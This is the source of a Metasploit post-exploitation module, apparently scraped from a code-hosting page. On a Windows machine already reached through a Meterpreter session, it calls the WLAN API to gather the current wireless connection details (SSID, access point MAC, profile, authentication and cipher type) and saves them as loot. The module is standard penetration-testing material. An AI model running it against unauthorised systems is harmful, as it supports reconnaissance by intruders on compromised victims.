Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/wlan/wlan_current_connection.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Auxiliary::Report78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Windows Gather Wireless Current Connection Info',13'Description' => %q{14This module gathers information about the current connection on each15wireless lan interface on the target machine.16},17'License' => MSF_LICENSE,18'Author' => ['theLightCosine'],19'Platform' => [ 'win' ],20'SessionTypes' => [ 'meterpreter' ],21'Compat' => {22'Meterpreter' => {23'Commands' => %w[24stdapi_railgun_api25stdapi_sys_process_attach26stdapi_sys_process_getpid27]28}29}30)31)32end3334def run35# Opens memory access into the host process36mypid = client.sys.process.getpid37@host_process = client.sys.process.open(mypid, PROCESS_ALL_ACCESS)38@wlanapi = client.railgun.wlanapi3940wlan_connections = "Wireless LAN Active Connections: \n"41wlan_handle = open_handle42unless wlan_handle43print_error("Couldn't open WlanAPI Handle. WLAN API may not be installed on target")44print_error('On Windows XP this could also mean the Wireless Zero Configuration Service is turned off')45return46end47wlan_iflist = enum_interfaces(wlan_handle)4849wlan_iflist.each do |interface|50connect_info = query_current_connection(wlan_handle, interface['guid'])51guid = guid_to_string(interface['guid'])52wlan_connection = "GUID: #{guid} \nDescription: #{interface['description']} \nState: #{interface['state']}\n"53if connect_info54wlan_connection << "\tMode: #{connect_info['mode']} \n\tProfile: #{connect_info['profile']} \n"55wlan_connection << "\tSSID: #{connect_info['ssid']} \n\tAP MAC: #{connect_info['bssid']} \n"56wlan_connection << "\tBSS Type: #{connect_info['type']} \n\tPhysical Type: #{connect_info['physical']} \n"57wlan_connection << "\tSignal Strength: #{connect_info['signal']} \n\tRX Rate: #{connect_info['rxrate']} \n"58wlan_connection << "\tTX Rate: #{connect_info['txrate']} \n\tSecurity Enabled: #{connect_info['security']} \n"59wlan_connection << "\toneX Enabled: #{connect_info['oneX']} \n\tAuthentication Algorithm: #{connect_info['auth']} \n"60wlan_connection << "\tCipher Algorithm: #{connect_info['cipher']} \n"61else62wlan_connection << "\tThis interface is not currently connected to a network\n"63end64print_good(wlan_connection)65wlan_connections << wlan_connection66end6768wlan_connections.gsub!(/\x00/, '')69store_loot('host.windows.wlan.connections', 'text/plain', session, wlan_connections, 'wlan_connections.txt', 'Wireless LAN Connections')70# close the Wlan API Handle71closehandle = @wlanapi.WlanCloseHandle(wlan_handle, nil)72if closehandle['return'] == 073print_status('WlanAPI Handle Closed Successfully')74else75print_error('There was an error closing the Handle')76end77end7879def open_handle80begin81wlhandle = @wlanapi.WlanOpenHandle(2, nil, 4, 4)82rescue StandardError83return nil84end85return wlhandle['phClientHandle']86end8788def query_current_connection(wlan_handle, guid)89connection = {}90conn_info = @wlanapi.WlanQueryInterface(wlan_handle, guid, 7, nil, 4, 4, nil)91# Grab the pointer to our data structure. We skip voer the Interface State since we already have it92# We interpret the connection mode used first93pointer = conn_info['ppData']94pointer = (pointer + 4)95mode = @host_process.memory.read(pointer, 4)96mode = mode.unpack('V')[0]97case mode98when 099connection['mode'] = 'A profile is used to make the connection.'100when 1101connection['mode'] = 'A temporary profile is used to make the connection.'102when 2103connection['mode'] = 'Secure discovery is used to make the connection.'104when 3105connection['mode'] = 'Unsecure discovery is used to make the connection.'106when 4107connection['mode'] = 'connection initiated by wireless service automatically using a persistent profile.'108when 5109connection['mode'] = 'Invalid connection mode.'110else111connection['state'] = 'Unknown connection Mode.'112end113114# Grab the wirelessprofile name used in the connection115pointer = (pointer + 4)116profile = @host_process.memory.read(pointer, 512)117connection['profile'] = profile.gsub(/\x00/, '')118119# Check the size of the SSID value. If we get nothing back, the interface is not currently connected120# We return nil and deal with the results back in the calling function121pointer = (pointer + 512)122len_ssid = @host_process.memory.read(pointer, 4)123unless len_ssid.unpack('V')[0]124return nil125end126127# Grabs the SSID of the BSS connected to128pointer = (pointer + 4)129ssid = @host_process.memory.read(pointer, 32)130connection['ssid'] = ssid.gsub(/\x00/, '')131132# Grabs what type of a BSS this is and itnerpretes it into human readable133pointer = (pointer + 32)134bsstype = @host_process.memory.read(pointer, 4)135bsstype = bsstype.unpack('V')[0]136case bsstype137when 1138connection['type'] = 'Infrastructure'139when 2140connection['type'] = 'Independent'141when 3142connection['type'] = 'Any'143else144connection['type'] = 'Unknown BSS Type'145end146147# Grabs the BSS MAC address148pointer = (pointer + 4)149bssid = @host_process.memory.read(pointer, 6)150bssid = bssid.unpack('H*')[0]151bssid.insert(2, ':')152bssid.insert(5, ':')153bssid.insert(8, ':')154bssid.insert(11, ':')155bssid.insert(14, ':')156connection['bssid'] = bssid157158# Grabs the physical association type and interprets it into human readable159pointer = (pointer + 8)160phy_type = @host_process.memory.read(pointer, 4)161phy_type = phy_type.unpack('V')[0]162case phy_type163when 1164connection['physical'] = 'Frequency-hopping spread-spectrum (FHSS)'165when 2166connection['physical'] = 'Direct sequence spread spectrum (DSSS)'167when 3168connection['physical'] = 'Infrared (IR) baseband'169when 4170connection['physical'] = 'Orthogonal frequency division multiplexing (OFDM)'171when 5172connection['physical'] = 'High-rate DSSS (HRDSSS)'173when 6174connection['physical'] = 'Extended rate PHY type'175when 7176connection['physical'] = '802.11n PHY type'177else178connection['physical'] = 'Unknown Association Type'179end180181# Grabs the signal strength value182pointer = (pointer + 8)183signal = @host_process.memory.read(pointer, 4)184connection['signal'] = signal.unpack('V')[0]185186# Grabs the recieve rate value187pointer = (pointer + 4)188rxrate = @host_process.memory.read(pointer, 4)189connection['rxrate'] = rxrate.unpack('V')[0]190191# Grabs the transmit rate value192pointer = (pointer + 4)193txrate = @host_process.memory.read(pointer, 4)194connection['txrate'] = txrate.unpack('V')[0]195196# Checks if security is enabled on this BSS197pointer = (pointer + 4)198security_enabled = @host_process.memory.read(pointer, 4)199if security_enabled.unpack('V')[0] == 1200connection['security'] = 'Yes'201else202connection['security'] = 'No'203end204205# Checks of 802.1x Authentication is used206pointer = (pointer + 4)207onex = @host_process.memory.read(pointer, 4)208if onex.unpack('V')[0] == 1209connection['oneX'] = 'Yes'210else211connection['oneX'] = 'No'212end213214# Determines wat Authentication Algorithm is being used215pointer = (pointer + 4)216algo = @host_process.memory.read(pointer, 4)217algo = algo.unpack('V')[0]218case algo219when 1220connection['auth'] = '802.11 Open'221when 2222connection['auth'] = '802.11 Shared'223when 3224connection['auth'] = 'WPA'225when 4226connection['auth'] = 'WPA-PSK'227when 5228connection['auth'] = 'WPA-None'229when 6230connection['auth'] = 'RSNA'231when 7232connection['auth'] = 'RSNA with PSK'233else234connection['auth'] = 'Unknown Algorithm'235end236237# Determines what Cipher is being used238pointer = (pointer + 4)239cipher = @host_process.memory.read(pointer, 4)240cipher = cipher.unpack('V')[0]241case cipher242when 0243connection['cipher'] = 'None'244when 1245connection['cipher'] = 'WEP-40'246when 2247connection['cipher'] = 'TKIP'248when 4249connection['cipher'] = 'CCMP'250when 5251connection['cipher'] = 'WEP-104'252when 256253connection['cipher'] = 'Use Group Key'254when 257255connection['cipher'] = 'WEP'256else257connection['cipher'] = 'Unknown Cipher'258end259return connection260end261262def enum_interfaces(wlan_handle)263iflist = @wlanapi.WlanEnumInterfaces(wlan_handle, nil, 4)264pointer = iflist['ppInterfaceList']265266numifs = @host_process.memory.read(pointer, 4)267numifs = numifs.unpack('V')[0]268269interfaces = []270271# Set the pointer ahead to the first element in the array272pointer = (pointer + 8)273(1..numifs).each do |_i|274interface = {}275# Read the GUID (16 bytes)276interface['guid'] = @host_process.memory.read(pointer, 16)277pointer = (pointer + 16)278# Read the description(up to 512 bytes)279interface['description'] = @host_process.memory.read(pointer, 512)280pointer = (pointer + 512)281# Read the state of the interface (4 bytes)282state = @host_process.memory.read(pointer, 4)283pointer = (pointer + 4)284285# Turn the state into human readable form286state = state.unpack('V')[0]287case state288when 0289interface['state'] = 'The interface is not ready to operate.'290when 1291interface['state'] = 'The interface is connected to a network.'292when 2293interface['state'] = 'The interface is the first node in an ad hoc network. No peer has connected.'294when 3295interface['state'] = 'The interface is disconnecting from the current network.'296when 4297interface['state'] = 'The interface is not connected to any network.'298when 5299interface['state'] = 'The interface is attempting to associate with a network.'300when 6301interface['state'] = 'Auto configuration is discovering the settings for the network.'302when 7303interface['state'] = 'The interface is in the process of authenticating.'304else305interface['state'] = 'Unknown State'306end307interfaces << interface308end309return interfaces310end311312# Convert the GUID to human readable form313def guid_to_string(guid)314aguid = guid.unpack('H*')[0]315sguid = '{' + aguid[6, 2] + aguid[4, 2] + aguid[2, 2] + aguid[0, 2]316sguid << '-' + aguid[10, 2] + aguid[8, 2] + '-' + aguid[14, 2] + aguid[12, 2] + '-' + aguid[16, 4]317sguid << '-' + aguid[20, 12] + '}'318return sguid319end320end321322323